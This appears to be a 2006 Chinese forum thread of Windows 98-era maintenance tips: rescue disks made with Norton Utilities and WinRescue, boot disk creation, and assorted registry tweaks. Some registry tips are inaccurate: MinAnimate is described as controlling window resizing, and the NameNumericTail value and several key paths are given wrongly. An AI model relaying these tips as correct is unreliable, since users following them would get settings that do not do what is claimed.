  除了KV3000以外,仅需借助NORTON UTILITIES中的一些命令,使用一张软盘和硬盘本身也能完成对主引导记录和分区表的备份,在此我们使用NORTON UTILITIES中的RESCUE·EXE命令。因为RESCUE·EXE命令不仅可以备份硬盘的主引导记录和分区表,它还可以同时将系统的CMOS参数、系统启动文件IO·SYS和MSDOS·SYS、主批处理文件、CONFIG·SYS文件都保存到软盘中去(一旦硬盘遭到破坏,恢复时有这些文件和参数可以省去一些麻烦),因此可以说,用RESCUE命令备份硬盘主引导记录和分区表能起到“一石三鸟”的作用。下面我们就开始制作一张补救软盘:

  首先将一张软盘插入A驱中,然后键入:RESCUE/CREATE〈回车〉,屏幕将弹出一个对话框“Create Rescue Disk”。如果您是第一次制作补救软盘,便使对话框内的“Format Rescue Diskette”(格式化补救盘)项处于有效状态;否则使“Update Change Files Only”(只更新变化了的文件)处于有效状态。方法是将光标移到此处,单击鼠标左键或按回车键,在选择项前打上“∨”号。

  “Create Rescue Disk”对话框内的下方还有一个“Rescue Disk Contents”对话框,其中的内容是将要从硬盘拷贝到补救盘中的内容。对于前面打“*”的是必选的,前面有“∨”的则是可选的。建议用户选择以下几项:rescue utility和rescue startup file(rescue.exe及其信息文件)、autoexec.bat、config.sys、Norton Disk Doctor和NDD message file(磁盘医生NDD·EXE及其信息文件)、Unformat(格式化恢复命令Unformat.exe)、Norton Library Overlay File,方法是将光标移到选择项上,用空格键打上“∨”号。

  选择完以上选择项后,将光标移到“CREATE”按钮处按回车键,或用鼠标左键点击此处,在以后弹出的对话框均选择“OK”按钮,便可将信息保存到软盘中。至此,制作补救盘的工作就完成了。但是用户需要注意一点:当硬盘重新分过区,或者升级了DOS版本,补救盘中的这部分信息就需要及时更新了。

  分区引导记录、文件目录表、文件分配表的保存

  保存分区引导记录、文件目录表、文件分配表的内容使用NORTON UTILITIES中的IMA

  GE·EXE命令,命令格式是:IMAGE〔〔驱动器1〕 〔驱动器…〕〕,若硬盘中有多个逻辑驱动器,则可以从命令行中一次键入。例如:硬盘中有三个逻辑盘C、D、E,则键入:IMAGE C:D:E〈回车〉IMAGE命令会在这三个逻辑盘的根目录下均建立一个IMAGE·DAT文件,每个逻辑盘中的IMAGE·DAT文件中的数据,就是它所在逻辑盘中的分区引导记录、文件目录表、文件分配表的内容。创建的IMAGE·DAT文件不需要保存到软盘中去,因为IMAGE·EXE命令创建该文件时,总是将每个IMAGE·DAT文件放到它所在的逻辑盘的最后一个簇中,并且作上了特殊标记,即使硬盘被格式化,当要使用恢复命令按IMAGE·DAT文件恢复逻辑盘时,UNFORMAT命令可以自动从欲恢复的逻辑盘的最后一个簇中找到该文件。

  因为硬盘总是要频繁地增加或删除一些文件,因此补救盘中IMAGE·DAT文件的内容也要随着硬盘内容的更新而及时更新,虽然这需要花费一些时间和精力,但为了保证数据的安全,做点牺牲也是应该的。笔者的作法是将IMAGE·EXE命令放在自动批处理文件中,以后每次开机都会自动更新IMAGE·DAT文件的内容。

  备份硬盘分区表和引导记录是最重要的。因为它将直接影响你硬盘数据的好坏。那接下去,我们就要把注意力放到我们的*作系统上了。一般来说,现在我们使用的是WINDOWS系列*作系统,比较常见的是WIN98、WIN ME和WIN 2000。其的功能是比较强大,而且图形化的界面也非常的直观。然而,它有时却是非常的脆弱。系统崩溃所带来的厄运相信大家都曾经品尝过吧,那么,未雨绸缪,细心做好备份也是相当重要的。

  对WINDOWS系列进行备份,我们采用手工的模式。以WIN 98为例,比较重要的文件有user.dat、win.ini等文件,它们记录了系统的软硬件管理信息,而msdos.sys,io.sys等文件则是*作系统正常工作所必须的,如果不小心将其删除,或者因病毒破坏等原因而导致这些系统文件丢失(其中最常见的是VXD丢失),就很容易导致系统崩溃甚至无法正常启动。而在Windows 2000下则稍有不同。WIN 2000由于将所有的硬件和软件配置文件都置于注册表之中,因此,在安装完毕后,只需将注册表导出即可。当然,一些*作系统所必须的文件也是必不可少的。

  这里,大家都已经知道,我们可以采用一些手工的备份方法加以实行,就是将所采用的*作系统中最重要的一些文件COPY出来,当系统出现问题的时候,再将其覆盖回去。不过,这样的方法需要对系统有非常全面的认识,而且,难免有疏忽和遗漏,而且也比较烦琐。那么,有没有比较好的软件能代替我们完成这样的工作呢?答案是肯定的:)选择WinRescue(下载网址http://www.superwin.com) 能非常好的替你完成这个任务。该软件目前有5个版本,分别适用于Windows 95、Windows98、Windows ME、Windows NT和Windows 2000。让我们以WinRescue 98为例,首先让我们对WinRescue 98进行一下全面的了解,看看它都能为我们作些什么:
   1. 可以备份13种不同的文件,包括注册表、系统引导文件、Config.sys、Autoexec.bat、win.ini、System.ini、dosstar.dat等系统配置文件以及开始菜单、桌面、收藏夹和文档菜单等个人设置信息,并允许使用者添加任意文件、文件夹或一组文件到备份中。

  2. 提供五种恢复备份的方法。

  3. 能够压缩并修复注册表。

  4. 提供创建紧急启动盘,在你的Windows无法启动时,可利用它在DOS下对系统进行恢复。

  5. 允许使用者对Win98自带的系统文件备份进行修改(包括关闭Win98自带系统备份功能、改变其备份保存位置、设定Win98自带系统备份的备份数量等)。

  6. 允许使用者对系统进行不限量的备份,这样你可以备份下不同时期的系统文件,从而加大了系统恢复的可*性。

  7. 对所备份的文件进行压缩以节省磁盘空间并可以限定压缩比率。

  8. 可利用Win98的任务列表定时自动进行备份。

  运行WinRescue后将会出现Backup的界面(如果你没有注册首先会弹出一个注册信息),共有五个选项卡,分别为Backup、Restore、Regpack、Config、BootDisk、Help,我们先从Backup说起,在这个选项卡中有一个大大的Backup按钮,点击它将对Windows的系统文件以及你所指定的特殊文件进行备份并压缩成一个以当前日期为文件名的文件夹,点击此选项卡下端的“Change Backup Preferences"将弹出Backup设置界面,实际上WinRescue所提供的默认设置对于普通用户已经足够了,如果你是一名高级用户还可以将其他一些重要的文件加到备份列表中,*作方法是打开Files项,单击“Add”按钮,然后选择你要备份的文件并添加到“Files to Backup and Restore"列表中,另外,除了系统文件的备份,用户一般还希望能够经常对自己的文件进行备份,由于这些文件常常可以按照属性分为几类,如文本文件、Word文件、Excel文件等,所以利用Multifiles(文件组)备份功能将使这些文件的备份变得轻松得多,打开Multifiles项,然后点"Add"按钮,选择备份文件的位置,你可选择备份一个目录或是选择备份同一类型的文件(如后缀为TXT、DOC文件),并为这一组文件指定一个名称,然后选择OK,你所指定的文件组就出现在了Multifiles Group列表中。

  Restore选项卡是用来对备份进行恢复的,按下Restore Temp按钮,会出现一个小对话框并有五种恢复方式供你选择,它们是按照优先级进行排列的,你在恢复时也最好依照这个顺序进行,第一种方式为Restore Temporary Backup,这个备份是Win98启动时自动对当前系统文件进行的备份,它包括了最基本的系统文件,一般Windows出现问题也都集中在这几个系统文件中,所WinRestore默认利用这个备份对系统进行恢复;第二种方式是Restore Permanent Backup,这个备份是前面我们在Backup选项卡中生成的,包括了系统文件、个人设置以及你所指定的文件、文件夹及文件组,如果你尝试第一种恢复方式不成功时可选用此方式;第三种方式为Restore Spare Registry,这个备份是WinRescue在每次备份时所生成的单独的注册表备份,当你确定问题出在了注册表上,可以选择这种方式对注册表进行恢复;第四种方式是Restore from Diskette,这种方式与第二种基本相同,只是从软盘中恢复,不过它不能在DOS下进行恢复;第五种方式为Restore Original Registry,这也是最后的终极手段了,如果前四种方式都无法恢复你的系统,这个方式可以调用安装Windows时生成的原始注册表,不过用它恢复后还需要重新安装所有应用软件,所以除非你走投无路,前几种方式都不起作用时再用这一招,不过笔者认为一般情况下是不会遇到的。选择好恢复方式后,WinRescue会恢复备份并重启系统。在这个选项卡的下面还有一个“Change Rstore Preferences"的按钮,点击它可以改变WinRescue默认的恢复方式。

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-25 10:33 | 显示全部楼层
win98启动盘的制作

WIN98启动盘的制作有很多方式,也有很多种,现在网上就有很多做好的启动盘可下载的(严格说应该叫启动工具盘,它里面已经是包含了很多应用工具了的比如KV杀毒,NDD,PMagic,Diskgen,DM等的。。。。),我们这里计论的是标准启动盘和纯启动盘:

标准启动盘:就是包含有光驱驱动,有启动菜单,加载有HIMEM和虚拟盘的那种。

在WIN98的控制面板里,打开添加删除程序,启动盘标签,点击创建启动盘后,插入磁盘就可以了。。

如在DOS下,可以执行c:\windows\command\bootdisk.bat命令来创建。。。

纯启动盘:只包含有IO.SYS,MSDOS.SYS,COMMAND.COM必要启动文件的磁盘。有杀毒和升级BIOS时好用的。

在WIN98里可以在我的电脑中右击软盘,选择格式化的,在对话框中点复制系统文件选项。

在DOS下可用 Format a:/s 格式化软盘并复制系统文件。

以及SYS A:不格式化软盘而复制系统文件。

还有一种在WIN下面,直接复制C:盘下的三个系统文件到A:盘的方法:先要显示系统及隐藏文件(文件夹选项,查看,显示所有文件),然后就可以把上面的三个系统文件复制到A:盘即可。此种方式还可以做WIN ME的纯启动盘呢,不过要把MSDOS.SYS文件里的C:\改为A:\才行(先用attrib -s -h -r msdos.sys改文件属性,再用edit msdos.sys修改,再改文件属性回去attrib +s +h +r msdos.sys)。。。。。。。

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-25 10:35 | 显示全部楼层
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件       ★免费下载 ★       ★ 使用帮助
Win9x中几个不错的小知识

我们使用电脑久了,发现系统盘中的Windows目录一直没有研究过,因为我们都知道这个目录是存放一些系统文件的地方。但是,其实windows目录里面还是有一些不错的东西,现在就让我们来看看。(下面均以C盘作为系统盘)
1.Bootdisk.bat

Windows在系统崩溃后无法进入GUI(图形界面)时,需要启动盘来引导系统,如果你在装系统时忘了或者故意不创建启动盘,那可就糟糕了,不过不用着急,你只要使用保存在Windows\Command\目录下的bootdisk文件就可以解决。

在MS一DOS环境下cd到C:\Windows\Command目录下,键入Bootdisk,按回车,屏幕上出现了要求选择软驱的提示,选择1或2后,即可以按照提示的做法插入软盘并开始拷贝文件,制作启动盘。

2.Pdos.bat

如果没有UCDOS的中文平台,在DOS下运行中文程序或是想用汉字,就显得不方便。在Windows\Command\目录下的Pdos95.bat文件功能是在MS-DOS窗口中显示与输入汉字,运行方法为:

在DOS的标识符下键人Pdos95,再按回车,一段加载程序后,即进入中文操作平台。我们可以用“Ctrl+Shift”来切换输入法,“Ctrl+空格”来切换中英文,“Shift+空格”切换半角。要想退出中文平台,键入命令quit即可。

3.SFC(System File Checker)

尽管谨慎又谨慎,可有时还是难免一不小心误删了系统文件,赶紧去“回收站”看看,发现它早已被清空。一般有些网友会下意识地想到“是否要重装系统”?其实不用太着急,只要使用WindowsSystem\目录下的“系统文件检查器”就可以解决了,运行它的方法为:

点击“开始”菜单,在运行中的文本框中输入sfc,单击确定,将弹出一个“系统文件检查器”窗口,它含有两个单选框,一个用来检查改动过的系统文件完整性,它可以扫描出几乎所有的被删除、或被非法修改过的系统文件,如果发现文件已损坏,它会提示你恢复原始文件。单击“设置”,可配置系统文件检查器去通知你所更改和删除的文件。在还原原始文件之前,“系统文件检查器”可以备份已有的文件,也可以根据文件夹和文件扩展名各自定义搜索条件,还有一些高级功能可以设定;另一个表示从安装软盘提取一个文件,在文本框中输入要提取文件的文件名,然后按照提示操作,相信就不难了。

4.Sysedit

配置Win9x启动加载、优化内存等等,常要修改config.Sys、autoexe.bat、win.ini、sys-tem.ini、protool.ini等系统文件。每次修改前都要先让隐藏起来的它们现身,用记事本打开,一一修改后,为了安全起见,再把它们的属性改回。其实用sysedit就省事多了,它能够把这些系统文件集纳在一起。要修改哪个只需激活它的窗口就行。该文件位于WindowsSystem\目录下,运行方法很简单:在开始一运行中键入sysedit即可。

5.Sysbackup文件夹

备份注册表时系统总告诉我今天已经备份,可它备份到哪里去了呢?就在Sysbackpup文件夹里。它包含了因版本冲突、版本升级而备份的文件及其他自动备份的文件。我想其中最有用的大概要数5个注册表的备份压缩包文件了。它们的名字叫rb001 、rb002一rb005。

当注册表发生错误想用备份替换时,可以有两种方法:一种是在Windows环境下直接用解压工具解压,解压好后有四个文件:system.dat、system.ini、uscr.dat、win.ini,唉,怎么不是注册表文件?不用急嘛,Windows下的注册表信息就存放在 win9x系统目录下system.dat和user.dat文件中,只需进行替换生效即可;第二种方法是在DOS环境下输入命令scanreg,用Tab键选择“START”,进入后选择“View Backups”,即查看备份文件,根据日期选择最新的备份。选择RESTORE,这样注册表就可以恢复正常了。

 

加快关机速度的技巧
有些用户的Windows关机时间较长(最高会达到几分钟时间),此时我们就应采取如下措施:

1.启动Windows 98的注册表编辑器。

2.在注册表编辑器中依次展开HKEY_LOCAL_MACHINE、System、CourrentControlSet、Control、Shutdown分支。

3.在Shutdown分支下新建一个名为FastReboot的字符串,并将其值设置为1。

4.执行“注册表”菜单的“退出”命令,关闭注册表编辑器。

删除“网上邻居”、“回收站”等系统图标的技巧

桌面上的“网上邻居”、“回收站”等系统图标不能采用常规的方法删除,广大用户若拟将它们删除则必须采用下述方法: 1.启动Windows 98的注册表编辑器

2.在注册表编辑器中依次展开HKEY_LOCAL_MACHINE、SOFTWARE、MICROSOFT、Windows、CURRENTVERSION、EXPLORER、DESKTOP、NAMESPACE分支。

3.此时我们就可以从NameSpace 分支中看到“网上邻居”、“回收站”等系统图标,广大用户只需加以选择性删除即可。

4.执行“注册表”菜单的“退出”命令,关闭注册表编辑器。

更改硬盘图标的技巧

缺省情况下,计算机中的有关硬盘图标都是千篇一律的灰色,没有任何个性可言,我们若欲对其进行修改则应在相关硬盘根目录下创建一个AUTORUN.INF文件,并在该文件中输入如下内容:

[AUTORUN]

icon=PATH,#

其中,“PATH,#”表示包含有硬盘图标的图标文件及所选图标的编号,如“C:\Windows\System\shell32.dll,13”。

此后我们只需重新打开资源管理器或我的电脑,硬盘的图标就会发生变化从而极大的满足了广大用户的需要(若修改之后没有发生变化则可能是屏幕没有刷新所致,此时我们只需按下F5键即可)。

快速启动Windows 98控制面板的技巧

广大用户若经常需要运行“控制面板”对系统进行设置,那么只需在开始菜单和桌面上为Windows目录下的CONTROL.EXE文件创建一个快捷方式即可,此后我们只需双击该快捷方式即可快速启动“控制面板”了。

清除“运行”对话框中的历史记录的技巧

1.启动Windows 98的注册表编辑器。

2.在注册表编辑器中依次展开HKEY_USERS、Default、SoftWare、Microsoft、Windows、CurrentVersion、Explorer、Runmru分支。

3.此时注册表编辑器右边窗口显示的就是系统开始菜单“运行”对话框中的历史记录,广大用户只需从中选择不需要的历史记录并单击DEL按钮即可。

4.执行“注册表”菜单的“退出”命令,关闭注册表编辑器。

修改短文件名命名方式的技巧

一般来说,Windows 98的长文件名在命名为8.3制的短文件名时一般都是先使用长文件名中的前6个合法字符,然后再添加一个“~”符号以及一个数字序列号,不过我们可通过下面的方法将这种命名方式修改为使用长文件名中的前8个合法字符作为短文件名:

1.启动Windows 98的注册表编辑器。

2.在注册表编辑器中依次展开HKEY_Loccal_Machines、Systems、CurrentControlSet、Control、FileSystem分支。

3.在FileSystem分支中新建一个名为“NameNumericTail”的二进制值,并将其值修改为1。

4.执行“注册表”菜单的“退出”命令,关闭注册表编辑器。

5.重新启动计算机。 此后,Windows 98别名的命名方式就会发生变化,也就是说当某个长文件名的前8个字符不与其它长文件名的前8个字符同名时,该长文件名文件的别名就是该文件的前8个字符,而不再使用“~”的形式,从而满足了用户的需要(使用此功能后,若碰到前8个字符相同的情况,系统还是会采用“~”的形式的别名的)。

取消Windows 98自动拨号功能的技巧

当我们在Windows 98中订阅了某个网页并将其设置为自动更新功能之后,计算机经常会自动拨号上网以便对这些信息进行更新,这将影响用户的操作并增加许多无谓的联网时间(“钱”命关天那),这就需要我们采用适当的方法将其关闭: 1.启动IE浏览器。

2.执行“查看”菜单的“Internet选项”命令,打开“Internet选项”对话框。

3.单击“高级”选项卡。

4.取消“允许预定按计划更新”选项。

5.单击“确定”按钮,关闭“Internet选项”对话框。

重新启动IE浏览器之后,系统就再也不会自动拨号了,你再也不用担心自己的钞票“不翼而飞”了。

将活动桌面内容作为屏幕保护的技巧

利用活动桌面功能,Windows 98将操作系统与网络浏览器紧密集成起来了,这样我们就可以实现将活动桌面作为屏幕保护的目的,具体步骤为:

1.右击桌面空白处,然后从弹出的快捷菜单中执行“属性”命令,打开“显示属性”设置框。 2.在“显示属性”设置框中单击“屏幕保护程序”选项卡。

3.在“屏幕保护程序”列表框中选择“活动桌面屏幕保护程序”选项。

4.单击“设置”按钮,打开屏幕保护程序设置对话框。

5.对活动桌面屏幕保护的内容进行配置。

6.连续单击“确定”按钮,关闭所有对话框。

禁止修改应用程序窗口大小的技巧

从Windows 3.X开始,有关应用程序窗口的大小就是允许用户自行调节的,不过用户若拟禁止修改窗口大小,防止它人缩小程序窗口也是可以办到的,具体步骤为:

1.启动Windows 98的注册表编辑器。

2.在注册表编辑器中依次展开Hkey_Current_User、Control Pannel、Desktop、Windows Metries分支。

3.这时广大用户就会在注册表编辑器右边窗口中看到一个MinAnimate主键,它就是用来控制是否允许缩小应用程序窗口大小的(“0”表示窗口不能缩小,“1”表示窗口可以缩小),广大用户根据自己的需要加以设置即可。

4.执行“注册表”菜单的“退出”命令,关闭注册表编辑器。

5.重新启动计算机。

启动节能功能的方法

1.单击“开始”按钮,然后依次选择“设置”、“控制面板”,启动Windows 98的“控制面板”。

2.在“控制面板”中双击“电源管理”图标,打开“电源管理”设置框。

3.在“电源方案”列表框中选择自己所需的节电方式。

4.分别为“系统进入等待状态”、“关闭显示器”和“关闭硬盘”设置适当的等待时间。

5.单击“确定”按钮,关闭“电源管理”设置框。

快速修改桌面图标的技巧

在Windows 98中,我们可以很方便地修改我的电脑、回收站、网上邻居等系统组件的图标内容,具体步骤为:

1.右击桌面空白处,然后从弹出的快捷菜单中执行“属性”命令,打开Windows 98的“显示属性”设置框。

2.单击“效果”选项卡。 3.从“桌面图标”列表框中选择希望更改图标的系统组件(如我的电脑、回收站等)。

4.单击“更改图标”按钮,打开“更改图标”对话框。

5.单击“浏览”按钮,选择合适的图标文件。

6.在“当前图标”列表框中选择一个合适的系统图标

7.连续单击“确定”按钮,关闭所有对话框。

8.单击桌面空白处,然后按下F5键刷新屏幕。

快速录入Web网址时的有关技巧

当我们在IE中手工输入有关Web网址时,灵活运用下述技巧可极大地提高操作速度:

1.输入一个不完整的Web网址之后按下“Ctrl-Enter”键,系统就会自动为其添加“http://www”的前缀和“.com”的后缀,从而简化了用户的输入(如我们只需在IE的地址栏中输入Microsoft,然后按下“CTRL+ENTER”,系统就会自动将其补为“http://www.Microsoft.com”)。

2.IE具有自动匹配后缀的功能,也就是说当用户输入一个不带后缀的网址后,系统会自动对其添加各种不同的后缀进行匹配。如某用户不能确认自己所要搜寻的网址到底是采用“.com”结尾还是采用“.edu”或“.org”结尾时,这时他只需在地址栏中输入域名而不输入后缀,按回车键后,IE游览器就首先会为其添加上“.com”的后缀去查找,如果找不到这样的网址它就会再去试“.edu”,如果还不行,IE就会再去找以“.org”结尾的网址继续寻找,从而方便了用户的使用(当然,用户最好还是少使用这一功能,以加快IE的搜索速度)。

3.在IE的地址栏中输入网址时,我们可在按住CTRL键的同时利用左右光标键事先在每个句号之间快速移动的目的。

您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2024-11-16 05:49 , Processed in 0.043926 second(s), 7 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 1999-2023 Wooffice Inc.

沪公网安备 31011702000001号 沪ICP备11019229号-2

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:李志群律师

快速回复 返回顶部 返回列表